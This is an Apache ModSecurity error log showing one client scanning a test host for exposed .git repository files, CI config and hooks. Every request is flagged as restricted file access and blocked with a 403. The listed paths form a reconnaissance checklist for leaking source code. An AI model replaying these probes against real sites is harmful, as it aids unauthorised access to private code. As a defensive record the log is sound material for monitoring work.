[Sun Mar 22 01:06:02.258927 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YAAAAAE&quot;]
[Sun Mar 22 01:06:02.259060 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YAAAAAE&quot;]
[Sun Mar 22 01:06:02.281032 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YQAAAAE&quot;]
[Sun Mar 22 01:06:02.281216 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YQAAAAE&quot;]
[Sun Mar 22 01:06:02.281344 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YQAAAAE&quot;]
[Sun Mar 22 01:06:02.303672 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YgAAAAE&quot;]
[Sun Mar 22 01:06:02.303862 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YgAAAAE&quot;]
[Sun Mar 22 01:06:02.303992 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YgAAAAE&quot;]
[Sun Mar 22 01:06:02.326156 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YwAAAAE&quot;]
[Sun Mar 22 01:06:02.326362 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YwAAAAE&quot;]
[Sun Mar 22 01:06:02.326498 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YwAAAAE&quot;]
[Sun Mar 22 01:06:02.348598 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZAAAAAE&quot;]
[Sun Mar 22 01:06:02.348782 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZAAAAAE&quot;]
[Sun Mar 22 01:06:02.348918 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZAAAAAE&quot;]
[Sun Mar 22 01:06:02.370909 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZQAAAAE&quot;]
[Sun Mar 22 01:06:02.371089 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZQAAAAE&quot;]
[Sun Mar 22 01:06:02.371217 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZQAAAAE&quot;]
[Sun Mar 22 01:06:02.394463 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZgAAAAE&quot;]
[Sun Mar 22 01:06:02.394643 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZgAAAAE&quot;]
[Sun Mar 22 01:06:02.394767 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZgAAAAE&quot;]
[Sun Mar 22 01:06:02.416828 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZwAAAAE&quot;]
[Sun Mar 22 01:06:02.417009 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZwAAAAE&quot;]
[Sun Mar 22 01:06:02.417140 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97ZwAAAAE&quot;]
[Sun Mar 22 01:06:02.439100 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97aAAAAAE&quot;]
[Sun Mar 22 01:06:02.439281 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97aAAAAAE&quot;]
[Sun Mar 22 01:06:02.439403 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97aAAAAAE&quot;]
[Sun Mar 22 01:06:02.686823 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97cwAAAAE&quot;]
[Sun Mar 22 01:06:02.687011 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97cwAAAAE&quot;]
[Sun Mar 22 01:06:02.687129 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97cwAAAAE&quot;]
[Sun Mar 22 01:06:02.799291 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97eAAAAAE&quot;]
[Sun Mar 22 01:06:02.799492 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97eAAAAAE&quot;]
[Sun Mar 22 01:06:02.799619 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97eAAAAAE&quot;]
[Sun Mar 22 01:06:02.935252 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fgAAAAE&quot;]
